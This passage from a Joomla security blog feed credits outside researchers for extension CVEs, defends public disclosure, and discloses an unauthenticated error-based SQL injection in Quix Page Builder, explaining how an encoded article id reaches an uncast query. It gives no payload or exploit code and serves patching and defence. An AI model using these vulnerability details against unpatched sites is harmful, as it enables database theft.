&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58148&quot;&gt;CVE-2026-58148&lt;/a&gt;&lt;/strong&gt; is an unauthenticated stored cross-site scripting flaw in ChronoForms, the long-established form builder by &lt;a href=&quot;https://www.chronoengine.com/&quot;&gt;ChronoEngine&lt;/a&gt;. An anonymous visitor can store markup that later executes in another user&apos;s browser. Every version up to and including 8.0.52 is affected, and it is fixed in 8.0.53. It too was scored CVSS 4.0 8.7 (High), and was reported by Italo Almeida.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;CVE-2026-58148 (ChronoForms), scored by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated stored cross-site scripting reachable with no login, where injected markup later executes in another user&apos;s browser. Fixed in ChronoForms 8.0.53.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Unauthenticated stored XSS&lt;/span&gt;
        &lt;span&gt;Runs in a visitor&apos;s browser&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Credit where it is due. Kamil Soltanov found the JoomCCK injection and Italo Almeida the ChronoForms XSS, both credited by name in the public CVE records. Neither is connected to us. That is the whole point of this post: independent researchers are auditing the same extensions we are, and that is a good thing.&lt;/p&gt;
&lt;p&gt;It has kept happening since. In August 2026 the Joomla CNA published &lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;an unauthenticated remote code execution flaw in Fabrik&lt;/a&gt;, CVE-2026-66915, scored a maximum CVSS 10.0 and reported by Moe Khalilov of LeetProtect Research. Also not ours.&lt;/p&gt;
&lt;h2&gt;Why a busy month of disclosures is good news&lt;/h2&gt;
&lt;p&gt;It is easy to read a run of extension CVEs as a sign that Joomla itself is falling apart, and it is worth being precise that these are flaws in third-party extensions, not in Joomla&apos;s own core. The truth is closer to the opposite of falling apart: flaws that are found and disclosed get fixed. The ones that should worry you are the ones nobody is looking for, sitting quietly in code that never gets a second pass. More researchers looking at widely used extensions means more of those quiet flaws get pulled into the light and patched.&lt;/p&gt;
&lt;p&gt;The catch is the part nobody puts on the CVE record. Every one of these fixes is one more update your sites need, and the fix only protects the sites that actually take it. A disclosure is only half the job. The rollout is the half that decides whether any of it protected anyone, and the rollout is exactly the part that gets skipped when checking every site by hand is a chore that grows with every client you take on.&lt;/p&gt;
&lt;h2&gt;But doesn&apos;t publishing just tip off hackers?&lt;/h2&gt;
&lt;p&gt;Every time we post one of these, someone on Facebook tells us we should keep quiet, that writing it up only hands attackers a map, or that we are doing great harm to the Joomla community by making the flaw public at all. It is a fair thing to raise, and it deserves a real answer rather than a shrug.&lt;/p&gt;
&lt;p&gt;A blog post like this one is the end of the process, not the start of it. Behind it sits weeks, sometimes months, of work nobody sees: finding the flaw, proving it on a test install, writing it up for the developer, disclosing privately, waiting, testing the fix they send back on their own behalf, coordinating the release, waiting for a CVE to be assigned, and waiting again. By the time we publish, the fix has already shipped and the CVE record already exists. We are the last car in that convoy, not the first.&lt;/p&gt;
&lt;div&gt;
  &lt;blockquote&gt;
    &lt;p&gt;&quot;Malicious actors do not read blog posts to work out what to exploit. They are already on it.&quot;&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/div&gt;
&lt;p&gt;That is the part the objection misses. Sophisticated threat actors, some of them state-backed, are already on these extensions, continuously and constantly, probing widely used code for exactly this kind of flaw, often before anything is public at all. Keeping a vulnerability secret does not stop them finding it, it only stops the defenders knowing. That is how zero-days come to exist in the first place. Where a fix already exists, they are watching the signals that ship long before any write-up. The moment a vendor ships a release labelled &quot;security&quot;, someone diffs it against the previous version and finds the changed line in minutes.&lt;/p&gt;
&lt;p&gt;This is not unique to extensions, and it is worth spelling out because it is exactly how Joomla&apos;s own core security releases work. The moment the Joomla project ships a core security update, malicious actors are already poring over the diff, isolating the changed lines, and building tools to exploit every site that has not updated yet. By releasing the fixed code at all, Joomla has itself invited that critique, because a security patch is a map straight to the bug it closes. Nobody sensible argues the project should therefore stop shipping fixes. The release has to be public to protect anyone, and the release is what starts the clock, not a blog post written after it.&lt;/p&gt;
&lt;p&gt;The moment a CVE record is created, it is indexed and scraped. Exploitation starts at the release and the CVE, not at the write-up, and it would start there whether or not we ever wrote a word. Some vendors we have handed a ninety-day window have simply shipped a quietly patched version without telling us, and declined to coordinate at all. The fix was already public, the diff was already there to read, and our silence would have protected nobody.&lt;/p&gt;
&lt;p&gt;The CVE record is not only fuel for attackers, it is the reason defenders stand a chance of keeping up. The &lt;a href=&quot;https://www.cve.org/&quot;&gt;CVE program&lt;/a&gt; exists to standardise how each vulnerability is named and tracked, so a security team can identify the weakness, scan their own estate for it, and prioritise the fix from one shared reference rather than a hundred vendor blogs in a hundred different formats. A flaw fixed silently, with no CVE, still helps the attacker who reverse-engineers the patch, and helps nobody else. A published CVE is what lets everyone else catch up. It is precisely the record mySites.guru consumes to tell you which of your sites are affected, which is the whole point of assigning one.&lt;/p&gt;
&lt;p&gt;A silent argument never wins. Keeping quiet does not slow an attacker who is already working from public information, it only leaves the people running the software in the dark. The scale settles it anyway. Wordfence alone published more than two hundred WordPress plugin and theme vulnerabilities in the past week, and more than eight hundred this month. We have published fewer than fifteen, a vanishingly small share of what is already out in the open, and the idea that our handful of posts is what moves the needle does not hold up next to those numbers. What our fifteen do carry is some of the most critical flaws we have ever found, which is exactly why the people running that code deserve to hear about them.&lt;/p&gt;
&lt;p&gt;Put the choice the way it actually presents itself. Search Google for &quot;hacked by AntonKill&quot; and you are shown a sea of &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;defaced Joomla sites&lt;/a&gt; whose owners never applied the update that would have saved them. Would you rather read a blog post we wrote about the flaw and how to close it, or be one more entry in that list of a million sites that never bothered? A write-up is the version of the story where the reader still gets to act first.&lt;/p&gt;
&lt;h2&gt;Then there is Bob the Builder&lt;/h2&gt;
&lt;p&gt;The &quot;just stay quiet&quot; argument never answers the obvious question: if not a blog post, then how is anyone meant to find out at all?&lt;/p&gt;
&lt;p&gt;Open source has no mailing list. There is no register of everyone running a given Joomla extension, and no button a developer can press to reach them. Commercial extensions are barely better off. Most vendors do not hold an accurate list of who actually runs their product, and the lists they do hold are full of addresses that unsubscribed long ago and never see the alert.&lt;/p&gt;
&lt;p&gt;So picture Bob. Bob is a builder, on site all day, up a ladder. His website was put together one weekend by his teenage son, who was bored and dodging his homework. Bob is never going to read a security advisory. He will not check a changelog, and he will not find his way to a blog post about an SQL injection in an extension he could not name if you asked him. Telling Bob to follow the developer&apos;s announcements is telling him nothing. He does not even know which extensions went into his site in the first place, and he has never had a reason to. What Bob can do is pay someone to watch on his behalf, which is the whole reason a service like mySites.guru exists.&lt;/p&gt;
&lt;p&gt;At the other end sits the agency with a thousand client sites, for whom &quot;just update it&quot; is the same small job multiplied by a thousand logins. They do not need telling that a flaw exists so much as they need one place to see which of their sites are affected and fix them together. It is the same need Bob has, at a different scale.&lt;/p&gt;
&lt;h2&gt;What almost 100,000 live sites tell us&lt;/h2&gt;
&lt;p&gt;It is easy to forget, in an argument about whether a blog post helps or harms, what sits behind these posts. mySites.guru is not a side project. It has thousands of paying subscribers and watches close to 100,000 live websites every single day. That scale is the whole point: our view of Joomla extension security comes from the real world at volume, not from a lab or a single test install on a laptop.&lt;/p&gt;
&lt;p&gt;We see the trends in that data before the Joomla project itself hears about them. We can watch which extensions are suddenly being probed, which exploits are being tried, and which sites have quietly been compromised, because we are looking at real production websites rather than a hypothesis. The sites we watch are every kind there is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the village bakery&lt;/li&gt;
&lt;li&gt;the local butcher&lt;/li&gt;
&lt;li&gt;the school-project site a kid built five years ago and left running on a Raspberry Pi, long since compromised and now hosting a crypto-miner and a backdoor for someone else&lt;/li&gt;
&lt;li&gt;and, at the other end, the sites behind government bodies in countries all around the world, hundreds of them&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That range is exactly why this work matters. A flaw in a Joomla extension is never an abstract CWE number to us. It is a specific list of real sites, run by real people who mostly have no idea the extension they installed once has a hole in it. When we tell you to update JoomCCK or ChronoForms, it is because we can see who is running them, and what tends to happen to the sites that do not.&lt;/p&gt;
&lt;h2&gt;How to make sure you actually get the fixes&lt;/h2&gt;
&lt;p&gt;This is the job mySites.guru is built for, and it does not care who found the flaw. We track published Joomla extension CVEs, add the affected version ranges to our vulnerability database, and flag every connected site running a vulnerable version. Whether the finder was us, Kamil Soltanov, Italo Almeida, or anyone else, the outcome for you is the same: the affected sites light up, and you update them.&lt;/p&gt;
&lt;div&gt;
  &lt;blockquote&gt;
    &lt;p&gt;&quot;In our experience there are only two kinds of site owner: the ones who patch the day a fix ships, and the ones who never patch at all.&quot;&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/div&gt;
&lt;p&gt;We cannot make anyone patch. What we can do is take away every excuse not to. mySites.guru puts the affected sites, the available update, and the button that applies it in one console, so &quot;I did not know&quot; and &quot;keeping up across that many sites is too much work&quot; stop being reasons.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every JoomCCK and ChronoForms install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search once and see every connected Joomla site running either extension, the version each is on, and whether an update is waiting. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;So the short version is the same as it always is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update JoomCCK to &lt;strong&gt;6.4.1&lt;/strong&gt; or later&lt;/li&gt;
&lt;li&gt;Update ChronoForms to &lt;strong&gt;8.0.53&lt;/strong&gt; or later&lt;/li&gt;
&lt;li&gt;If you manage more than a handful of sites, let mySites.guru show you which ones run either extension rather than checking each admin by hand, then &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;push the update to all of them from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will keep auditing Joomla extensions and reporting what we find. It is reassuring to be reminded, in the same week, that we are in good company doing it.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the run of extension vulnerabilities we found and reported over the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the front-end endpoint pattern behind the JoomCCK injection and a long line of similar flaws.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49048&quot;&gt;CVE-2026-49048&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58148&quot;&gt;CVE-2026-58148&lt;/a&gt; - the public CVE records for the two flaws.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;The Joomla CNA&lt;/a&gt; - the body that assigns CVEs for Joomla and its extensions.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>cve</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/we-are-not-the-only-ones-auditing-joomla-extensions.COrtvEdI.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in Quix Page Builder found by mySites.guru</title><link>https://mysites.guru/blog/quix-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/quix-sql-injection-disclosure/</guid><description>mySites.guru found and reported CVE-2026-58078, an unauthenticated SQL injection in Quix Page Builder for Joomla. An anonymous request to a front-end element endpoint could read the whole site database. Fixed in Quix 6.2.1; update to 6.2.2 now.</description><pubDate>Wed, 15 Jul 2026 16:29:14 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.themexpert.com/&quot;&gt;Quix&lt;/a&gt; is one of the most widely installed drag-and-drop page builders for Joomla, the tool a lot of agencies and site owners reach for when they want to lay out a page without touching code. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in Quix Page Builder, and reported it to ThemeXpert before disclosing anything publicly.&lt;/strong&gt; The fix is out: ThemeXpert closed the injection in Quix &lt;strong&gt;6.2.1&lt;/strong&gt;, then shipped &lt;strong&gt;6.2.2&lt;/strong&gt; the next day to close a further issue we reported. Run 6.2.2.&lt;/p&gt;
&lt;p&gt;If you run Quix on any Joomla site, update to 6.2.2 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in Quix Page Builder and reported it to ThemeXpert&lt;/li&gt;
&lt;li&gt;The flaw is in one of Quix&apos;s front-end element endpoints, present in &lt;strong&gt;6.2.0 and every earlier version&lt;/strong&gt;; fixed in &lt;strong&gt;6.2.1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The endpoint took an &lt;strong&gt;article id from an anonymous request and placed it straight into a database query&lt;/strong&gt; without turning it into a number, so an &lt;strong&gt;anonymous visitor could read data from any table&lt;/strong&gt;: user accounts, password hashes, other Joomla API secrets, and anything else in the database, from draft content and API keys to personal data and ecommerce orders&lt;/li&gt;
&lt;li&gt;It is the &lt;strong&gt;error-based&lt;/strong&gt; kind of SQL injection, not the blind kind. The endpoint reflects the database error back in its response, so the data comes straight out, one value per request, with no guessing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to Quix 6.2.2 immediately&lt;/strong&gt;, the current release&lt;/li&gt;
&lt;li&gt;It is tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58078&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/strong&gt;, assigned by the Joomla CNA and crediting Phil Taylor of mySites.guru as the finder&lt;/li&gt;
&lt;li&gt;The Joomla CNA scored it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The injection was &lt;strong&gt;one of seven security issues we reported&lt;/strong&gt;. Six, the injection among them, were fixed in 6.2.1 and the seventh, an unsanitised CSS ID/Class field, the next day in 6.2.2. ThemeXpert also hardened the bundled JMedia media manager. Updating to 6.2.2 closes the lot&lt;/li&gt;
&lt;li&gt;Credit to ThemeXpert: they shipped the fix &lt;strong&gt;the same day we reported it&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it to ThemeXpert before publishing details. We withheld the exact request and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;Quix builds pages out of elements, and some of those elements load their content over a front-end AJAX endpoint that anonymous visitors can reach without logging in. One of them, the element that pulls in a single Joomla article, took an article &lt;code&gt;id&lt;/code&gt; from the incoming request and used it to check whether that article exists before rendering. That existence check placed the id into a database query &lt;strong&gt;without casting it to an integer first&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The id does not arrive as a bare number. It is carried inside an encoded request parameter, which the endpoint decodes and reads the id back out of. Decoding it does nothing to make it safe: the value that comes out is still fully attacker-controlled, and it reaches the query unchanged. Joomla&apos;s standard input filtering, which constrained only the outer encoding, never looks at the decoded value. Quotes, parentheses and SQL keywords all survive.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted id that turned the existence check into a query reading from any table in the Joomla database. No account needed, no CSRF token, nothing stolen first. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;The Joomla configuration secret and other stored data&lt;/li&gt;
&lt;li&gt;Article, content and extension data across the whole database&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are deliberately not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.&lt;/p&gt;
&lt;h2&gt;This one is not blind: the database talks back&lt;/h2&gt;
&lt;p&gt;There are two broad flavours of SQL injection, and which one you are dealing with changes how quickly an attacker gets the data out. In the quiet kind, a &lt;strong&gt;blind&lt;/strong&gt; injection, the response never prints the data. The attacker asks the database true-or-false questions one at a time and reads the answer from how the page changes. It works, but it is slow, a character at a time down a binary search.&lt;/p&gt;
&lt;p&gt;This Quix flaw is the other kind, the loud one: an &lt;strong&gt;error-based&lt;/strong&gt; injection. The affected endpoint catches the database error and reflects the message straight back in its response. That hands an attacker a much shorter path. Instead of inferring a value bit by bit, they craft an id that forces the database to fail while embedding the data they want inside the error message, and the endpoint prints that message back to them. The requested value, a username, a password hash, the site secret, comes back in the response to a single request.&lt;/p&gt;
&lt;p&gt;Do not read &quot;error-based&quot; as a technicality. It is worse for the defender than blind, not better. Blind injection at least makes an attacker work for each value. Error-based removes even that friction: the database does the talking, the endpoint does the printing, and the attacker reads the answer off the screen. The end state is the same as any other full SQL injection, the entire contents of every table an anonymous request can reach, but it arrives faster and with less noise in your logs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Because this is error-based, there is no &quot;it would take a long time to exploit&quot; comfort to fall back on. The data returns in the response. Confidentiality is either intact or it is gone, and against an unpatched Quix it is gone in one request per value. Treat any site that ran a vulnerable version as one where the database could have been read.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What could a hacker actually do with this?&lt;/h2&gt;
&lt;p&gt;Download your entire database. Every table, every row, every column, from an anonymous request that looks exactly like ordinary traffic in your access log.&lt;/p&gt;
&lt;p&gt;That is the honest answer, and we are not speculating about it. We reproduced complete database extraction against this flaw repeatedly on our own Quix test installations, pulling table after table out through the endpoint until there was nothing left to take. Separately, we confirmed vulnerable versions of Quix running in the wild on sites you would expect to know better: organisations with security teams, compliance obligations, and budgets, all of them one anonymous request away from handing over the lot. We did not touch their data, and we did not need to. The version number told us everything.&lt;/p&gt;
&lt;p&gt;Here is what walking off with a Joomla database actually gets someone:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Every user account and password hash.&lt;/strong&gt; Hashes get cracked offline, at leisure, on hardware built for it. Any user who reused their password has handed over their other accounts too. A cracked Super User hash is simply an admin login, and no exploit is needed for the second visit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;other Joomla API secrets.&lt;/strong&gt; It allows API Access. With it, an attacker stops needing your password.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Everything your site was trusted with.&lt;/strong&gt; Customer records, order histories, addresses, private article drafts, form submissions, stored API keys for whatever else you connected. If it is regulated data, you now have a notifiable breach on your hands rather than a maintenance ticket.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The part that catches people out is how quiet it is. A database read writes nothing. No file changes, no new admin user, no web shell, no malware for a scanner to find, nothing in your integrity check. Your site looks perfect, because it is: the attacker took a copy and left the original exactly where it was.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is why &quot;restore a backup&quot; is not a fix for a database read. Restoring undoes changes, and nothing changed. Once the data is copied it stays copied, and the only remaining moves are rotating every credential in it and telling the people whose data it was. Updating stops the next copy, not the one already taken.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;You never needed AI to weaponise SQL injection&lt;/h2&gt;
&lt;p&gt;Every time a SQL injection is disclosed now, someone frames AI as the thing that made it dangerous. It is worth saying plainly that it did not. Fully automated SQL injection, error-based and blind alike, has been free, off-the-shelf tooling for about twenty years. &lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;, the standard open-source tool, has automated error-based, boolean-based and time-based extraction and dumped entire databases since July 2006. Point-and-click extractors put the same power in front of absolute beginners even earlier. The underlying techniques were documented publicly in the early 2000s.&lt;/p&gt;
&lt;p&gt;An injection a human would find tedious is a single sqlmap command that has been public since before a lot of today&apos;s extension code was even written. AI did not make SQL injection practical. sqlmap did that two decades ago. This matters because it kills the most common excuse for not updating: &quot;nobody would really bother extracting a whole database by hand&quot;. Nobody does it by hand. They point a tool at it and walk away.&lt;/p&gt;
&lt;p&gt;Joomla knows this class of bug intimately, and not only from its extensions. Its own core has shipped serious SQL injection flaws, and they did real damage long before anyone had an AI assistant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;October 2015, &lt;code&gt;com_contenthistory&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2015-7857&quot;&gt;CVE-2015-7857&lt;/a&gt; and related).&lt;/strong&gt; An unauthenticated SQL injection in Joomla core, in every release from 3.2.0 to 3.4.4, let an anonymous attacker steal a live Super User session and take the whole site over. It was error-based, exactly like this Quix flaw, and it was being exploited in the wild within 24 hours of the fix, against a component that shipped enabled by default on millions of sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;May 2017, &lt;code&gt;com_fields&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2017-8917&quot;&gt;CVE-2017-8917&lt;/a&gt;).&lt;/strong&gt; An unauthenticated SQL injection in Joomla 3.7.0, through an ORDER BY parameter that public exploits drove both blind and error-based, exposing session tokens and password hashes. It was weaponised with public exploit code within days.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those needed AI. SQL injection has been fully compromising Joomla sites, core and extensions alike, for well over a decade, with tools any teenager could download for free. The stakes were never raised by AI. They were always this high, and the only reliable answer has always been the same one: update the affected code.&lt;/p&gt;
&lt;h2&gt;Sibling elements were hardened, this one was missed&lt;/h2&gt;
&lt;p&gt;This is the detail that makes the flaw interesting rather than embarrassing. ThemeXpert had already been through Quix&apos;s element code, hardening exactly this class of input, and had shipped that work one day earlier as Quix 6.2.0, a release whose changelog opens by announcing a completed security audit of the extension. The elements that load lists of articles cast their ids to integers and lean on Joomla&apos;s own parameterised article model. A related element that reads an article field got a strict allow-list of column names, with a comment in the code describing the fix. The team clearly knew the shape of the risk and had been closing it element by element.&lt;/p&gt;
&lt;p&gt;The single-article existence check was the one that slipped through. It kept its hand-written pre-check, and that pre-check kept the raw id. It is the classic pattern of a hardening pass that fixes the neighbours and overlooks the helper next door. It is a reminder that &quot;we fixed that class of bug&quot; and &quot;we fixed every instance of that class of bug&quot; are different statements, and the gap between them is where findings like this live. Our audit of that freshly hardened 6.2.0 build found seven issues it had missed, this injection among them. ThemeXpert fixed six of them the following day in 6.2.1 and the last, an unsanitised CSS ID/Class field, in 6.2.2.&lt;/p&gt;
&lt;p&gt;Read that as an argument for external eyes rather than a knock on ThemeXpert. An audit by the people who wrote the code is bounded by the same assumptions that produced the code, which is precisely why a second pass by someone else keeps finding things. 6.2.0 was a real and substantial piece of security work. It was also, inevitably, incomplete, and the only way anyone learns that is by looking.&lt;/p&gt;
&lt;p&gt;The fix is a single line: cast the id to an integer before it reaches the query, so a crafted value can no longer change the SQL. That is exactly what Quix 6.2.1 does.&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The thing that decides real-world impact here is short:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches Quix. Sites running bare, with no such protection, are the exposed ones.&lt;/p&gt;
&lt;p&gt;Note what is &lt;em&gt;not&lt;/em&gt; on that list. Unlike some front-end injection flaws, this one does not need the site to have any particular content published, or a specific menu item, or a visible page using the affected element. If Quix is installed, the endpoint is reachable, and the injection works. There is no second precondition for an attacker to satisfy. That makes the exposure broader than flaws that depend on the site being in a particular state.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. A SQL-aware firewall in front of a vulnerable extension can catch this class of attack before it reaches the code, buying you time to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One more thing worth saying plainly: Quix is not obscure code on neglected sites. It is a paid, actively maintained page builder chosen precisely because it is polished and well supported, and it runs on plenty of professionally managed Joomla installations, including ThemeXpert&apos;s own. Being well-regarded is not the same as being safe. &quot;We only use trusted, well-maintained extensions&quot; is a good instinct, and on its own it is not a defence against a flaw in one of them. The most buttoned-up site in the world is still exposed if it is a version behind on the extension that has the hole.&lt;/p&gt;
&lt;h2&gt;Would a long, strong .htaccess have protected me against this?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. A big hardened &lt;code&gt;.htaccess&lt;/code&gt; is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to &lt;code&gt;index.php&lt;/code&gt;, the exact request your &lt;code&gt;.htaccess&lt;/code&gt; exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one request parameter, and a stock &lt;code&gt;.htaccess&lt;/code&gt; never looks there.&lt;/p&gt;
&lt;p&gt;To block this at the &lt;code&gt;.htaccess&lt;/code&gt; layer you would need explicit rules that pattern-match SQL syntax in the request and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on. Even then it only helps if that filtering is actually enabled: a WAF with its SQLi rules turned off, or left in log-only mode, waves this through as happily as no WAF at all. Protection you have to remember to configure is not the same as code that is not vulnerable in the first place.&lt;/p&gt;
&lt;p&gt;The short version applies here directly. Update Quix.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;Quix &lt;strong&gt;6.2.0&lt;/strong&gt;, the current release at the time of disclosure, and &lt;strong&gt;every earlier version&lt;/strong&gt; are affected. The vulnerable pre-check helper is long-standing and predates the hardening pass that fixed its sibling elements, so there is no clean lower bound: the whole Quix history below the fix is in range. The fix is in &lt;strong&gt;6.2.1&lt;/strong&gt;, which casts the article id to an integer before it reaches the query so a crafted value can no longer change the SQL. A later release, &lt;strong&gt;6.2.2&lt;/strong&gt;, closes a further issue we reported, so 6.2.2 is the version to run.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of Quix Page Builder earlier than 6.2.2, assume your site is affected and update now. Do not wait to confirm exploitation: because this is error-based, by the time you can confirm it, the data is already gone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The SQL injection was not the only thing we reported&lt;/h2&gt;
&lt;p&gt;This post covers the SQL injection because it is the one an anonymous visitor can reach across the internet with a single request, and the one with the clearest consequence. It was one of seven security issues we reported to ThemeXpert, and the Joomla CNA has assigned a CVE to each. Quix 6.2.1 fixed six of them, and Quix 6.2.2 the seventh. In the vendor&apos;s own words, these releases also:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed a code-execution path via the Raw HTML element, so PHP tags in element content are now neutralised (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60026&quot;&gt;CVE-2026-60026&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Fixed a path traversal and arbitrary file read in the Form element submission handler (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60027&quot;&gt;CVE-2026-60027&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Fixed stored cross-site scripting through the icon field, including inline SVG (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60028&quot;&gt;CVE-2026-60028&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Added an explicit permission check to the admin media manager endpoint (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60030&quot;&gt;CVE-2026-60030&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Stopped reflecting internal error details in front-end AJAX responses (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60031&quot;&gt;CVE-2026-60031&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Sanitised the Advanced CSS ID and Class fields, so a stored value can no longer break out of the CSS selector into the surrounding markup (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60029&quot;&gt;CVE-2026-60029&lt;/a&gt;, closed in Quix 6.2.2)&lt;/li&gt;
&lt;/ul&gt;
